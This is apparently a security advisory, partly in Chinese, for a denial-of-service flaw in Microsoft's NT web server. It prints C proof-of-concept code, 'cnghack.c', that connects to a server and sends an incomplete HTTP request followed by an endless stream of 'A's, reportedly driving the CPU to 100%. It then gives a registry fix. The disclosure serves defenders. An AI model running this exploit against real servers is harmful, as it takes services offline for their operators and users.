void cng() { int SockFD=0, p; struct sockaddr_in DstSAin; char GETKILLED[]="GET / HTTP/\r\n"; int die=1; printf("Entered CNG\n"); ++current_threads; DstSAin.sin_family = AF_INET; DstSAin.sin_port = htons((u_short)port); DstSAin.sin_addr.s_addr=inet_addr( server ); if((SockFD = socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Failed to create socket\n"); --current_threads; return; } if(!connect(SockFD,(struct sockaddr *)&DstSAin, sizeof(DstSAin))) { p=send(SockFD,GETKILLED,strlen(GETKILLED),0); printf("Step 1: %i\n", p); for(;;){ p=send(SockFD,buffer,strlen(buffer),0); printf("P: %i\n", p); //put in some code to check if send = -1 more then X times we drop the loop and exit the thread //bla bla bla i love the dirtiness of concept code. } } --current_threads; printf("Exited CNG\n"); return; }
cnghack.c works by doing the following: Connects to example.com Sends: GET / HTTP/[return][buffer]
Where: [return] is just an \r\n [buffer] is a never ending stream of As
攻击结果将导致NT系统的CPU占用率达到 100%
解决方案
运行Regedt32.exe 在: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\w3svc\parameters 增加一个值: Value Name: MaxClientRequestBuffer